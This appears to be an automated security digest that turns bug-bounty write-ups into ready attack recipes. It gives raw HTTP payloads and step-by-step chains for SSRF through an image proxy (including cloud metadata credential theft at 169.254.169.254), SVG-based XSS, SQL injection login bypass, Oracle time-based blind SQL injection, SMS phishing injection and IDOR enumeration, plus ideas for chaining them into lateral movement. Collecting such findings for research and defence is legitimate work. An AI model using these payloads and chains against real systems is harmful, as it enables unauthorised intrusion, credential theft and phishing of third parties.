

ETX Signal-X

Daily Intelligence Digest

Monday, March 16, 2026

5

ARTICLES

7

TECHNIQUES

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Proxy with External URL Injection

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1tli8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Connection: close
```

Attack Chain

- 1 Identify a Cloudflare-protected subdomain serving images via `/cdn-cgi/image/` (e.g., `x-transaction-exports.[REDACTED].com`).
- 2 Observe that the endpoint accepts fully-qualified external URLs after the image transformation parameters.
- 3 Host a controlled OAST server (e.g., using `interactsh-client`) to log incoming HTTP requests.
- 4 Send a GET request to `/cdn-cgi/image/width=1000,format=auto/https://<attacker-oast-domain>`.
- 5 Confirm SSRF by observing inbound requests from Cloudflare IPs to the OAST server.

Discovery

Recon of subdomains revealed Cloudflare image proxy usage. Suspicion was triggered by the endpoint accepting external URLs instead of only relative paths. OAST tooling (`interactsh-client`) was used to confirm server-side fetches.

Bypass

No authentication or user interaction required. The endpoint does not restrict to internal assets—accepts and fetches arbitrary external URLs. No host allowlist or scheme filtering observed.

Chain With

Internal network scanning (e.g., `http://localhost:8080/`, `http://10.0.0.0/8`) Cloud metadata exfiltration (e.g., `http://169.254.169.254/latest/meta-data/` for AWS, `http://metadata.google.internal/` for GCP) Bypass of IP-based firewall restrictions (targeting internal admin panels) XSS via malicious SVGs if the proxy output is rendered in the frontend

T2

Stored XSS via Malicious SVG Chained Through Image Proxy

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Connection: close
```

Attack Chain

- 1 Host a crafted SVG file containing malicious JavaScript on an attacker-controlled domain.
- 2 Pass the SVG URL to the Cloudflare image proxy endpoint as an external resource.
- 3 The proxy fetches and stores/renders the SVG.
- 4 If the frontend application renders the proxied SVG without proper sanitization, stored XSS is triggered in user browsers.

Discovery

After confirming SSRF, the researcher considered the impact of SVG rendering via the proxy. The risk was noted due to the lack of SVG filtering and the potential for frontend rendering.

Bypass

No SVG filtering or content-type restrictions on the proxy endpoint. Proxy fetches and delivers SVGs as-is, enabling XSS if the frontend is vulnerable.

Chain With

Combine with SSRF to escalate from server-side fetch to client-side code execution (stored XSS) Potential for session hijacking or further lateral movement if rendered in privileged contexts

T3

Cloud Metadata Exfiltration via SSRF to Internal Endpoints

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Connection: close
```

Attack Chain

- 1 Use the SSRF primitive to target internal cloud metadata endpoints (e.g., AWS, GCP).
- 2 Pass the internal IP (e.g., `169.254.169.254`) as the image URL to the proxy endpoint.
- 3 The proxy fetches sensitive metadata (e.g., IAM credentials, instance profile data) from the internal service.
- 4 If the proxy returns the response or leaks error messages, attacker can exfiltrate cloud credentials.

Discovery

Standard SSRF escalation: after confirming arbitrary URL fetch, the researcher tested for access to known cloud metadata endpoints to assess impact.

Bypass

No internal IP filtering or blocklist in the proxy logic. The endpoint fetches internal IPs as readily as external ones.

Chain With

Use leaked credentials for privilege escalation, lateral movement, or persistence in cloud environments. Combine with other SSRF payloads for broader internal reconnaissance.

Referer-Based Access Control: Exploit Referer Headers to Bypass Access Control

Source: securitycipher

Date: 23-Jul-2025

URL: <https://bashoverflow.medium.com/referer-based-access-control-exploit-referer-headers-to-bypass-access-control-dacd57ab832a>

 No actionable techniques found

A security vulnerability has been detected in itsourcecode Directory Management System 1.0. The affected element is an unknown function of the file /admin/index.php. The manipulation of the argument Username leads to sql injection. The attack can be initi

Source: threatable

Date:

URL: https://github.com/jackhong1236/CVE_1/issues/1

T1 Unauthenticated SQL Injection via Username Parameter in /admin/index.php

Payload

```
POST /dms/admin/index.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

Username=admin' OR '1'='1&Password=anyvalue&submit=Login
```

Attack Chain

- 1 Send a POST request to `/dms/admin/index.php` with the `Username` parameter containing a SQL injection payload (e.g., `admin' OR '1'='1`).
- 2 The `Password` parameter can be any value, as the SQL injection in `Username` bypasses authentication logic.
- 3 Observe successful authentication or data leakage due to unsanitized input.

Discovery

Researcher identified the login endpoint `/dms/admin/index.php` and tested the `Username` parameter with standard SQL injection payloads. SQLMap was used to automate detection and confirm exploitability.

Bypass

No login or authorization is required to exploit this vulnerability; the endpoint is accessible without prior authentication.

Chain With

Use SQL injection to enumerate users, dump password hashes, or escalate to RCE if database write capabilities exist. Combine with weak session management for persistent admin access.

#2. Bug Bounty POC: Time-Based SQL Injection to Dump Database

Source: securitycipher

Date: 11-May-2024

URL: <https://cyb3rmind.medium.com/2-bug-bounty-poc-time-based-sql-injection-to-dump-database-f8cfa089f393>

T1 Time-Based Blind SQL Injection via EMP_ID Parameter (Oracle DBMS_PIPE)

Payload

```
POST /api/business/business_kpi HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

EMP_ID=4727 AND 4900=DBMS_PIPE.RECEIVE_MESSAGE(CHR(114) || CHR(105) || CHR(105) || CHR(113),5)&LE
VEL=UH&UNIT=BHAG
```

Attack Chain

- 1 Identify the endpoint `/api/business/business\_kpi` that accepts the `EMP\_ID` parameter.
- 2 Submit a single quote (`'`) in `EMP\_ID` and observe a 500 Internal Server Error, indicating possible SQL injection.
- 3 Submit a tautology or false condition (e.g., `EMP\_ID=3710 AND 1=0`) and observe data changes, confirming injection point.
- 4 Inject the time-based payload using Oracle's `DBMS\_PIPE.RECEIVE\_MESSAGE` function to induce a measurable delay (e.g., `EMP\_ID=4727 AND 4900=DBMS\_PIPE.RECEIVE\_MESSAGE(CHR(114) || CHR(105) || CHR(105) || CHR(113),5)`).
- 5 Observe server response delay to confirm successful time-based SQL injection.
- 6 Use SQLMap with the saved Burp request to automate extraction of database names, tables, and columns using time-based techniques.

Discovery

Manual parameter fuzzing in Burp Suite; error-based probing with `` and logic-based payloads (`AND 1=0`); confirmation via time-delay payload and SQLMap automation.

Bypass

SSL pinning in the Android app was bypassed using Frida to intercept traffic. OkHttp3 pinning was only partially bypassed, but sufficient to capture and replay requests for testing.

Chain With

Combine with SSL pinning bypasses for deeper mobile API testing. Use extracted database structure for further privilege escalation, lateral movement, or chaining with authentication bypass if credentials are dumped. Potential for DoS by automating high-frequency time-based payloads.

Mass Message Injection and IDOR in Account Verification

Source: securitycipher

Date: 08-Jun-2025

URL: <https://kingcoolvikas.medium.com/mass-message-injection-and-idor-in-account-verification-c599b729321d>

T1 Mass Message Injection via Account Verification SMS API

Payload

```
POST /api/v1/verification/send-sms
Content-Type: application/json

{
  "to_phone_number": "+1234567890",
  "url": "https://attacker.com/malware"
}
```

Attack Chain

- 1 Register or use any account to reach the ID verification step during checkout.
- 2 Intercept the POST request to `/api/v1/verification/send-sms`.
- 3 Modify the `to\_phone\_number` parameter to the victim's phone number.
- 4 Replace the `url` parameter with a malicious or phishing URL.
- 5 Send the request; the victim receives an SMS with the attacker's link (shortened by the platform).

Discovery

Manual inspection of the verification flow, followed by Burp Suite interception and parameter tampering in the SMS-sending endpoint.

Bypass

No validation on the `url` or `to\_phone\_number` parameters; platform's use of a URL shortener further obfuscates the malicious payload.

Chain With

Can be combined with social engineering or credential harvesting via mass phishing campaigns. Potential for automated mass exploitation if phone number lists are available.

T2 IDOR via Predictable Shortened Verification URLs

Payload

```
https://example.com/aa  
https://example.com/ab  
https://example.com/ac  
... (sequential enumeration)
```

Attack Chain

- 1 Observe the format of shortened document upload links (e.g., <https://example.com/aa>, [/ab](https://example.com/ab), [/ac](https://example.com/ac), ...).
- 2 Enumerate the sequential URLs to discover active verification links for other users.
- 3 Access a discovered active link; the page allows uploading ID documents for that user.
- 4 Upload documents, hijacking or interfering with the victim's account verification process.

Discovery

Analysis of the shortened URL pattern revealed a sequential, predictable scheme. Manual enumeration confirmed active, unexpired links for other users.

Bypass

No authentication or authorization checks tied to the document submission endpoint; any valid, enumerated URL grants access.

Chain With

Can be used to lock out legitimate users by submitting invalid or attacker-controlled documents. Enables large-scale account hijacking or disruption if combined with automation.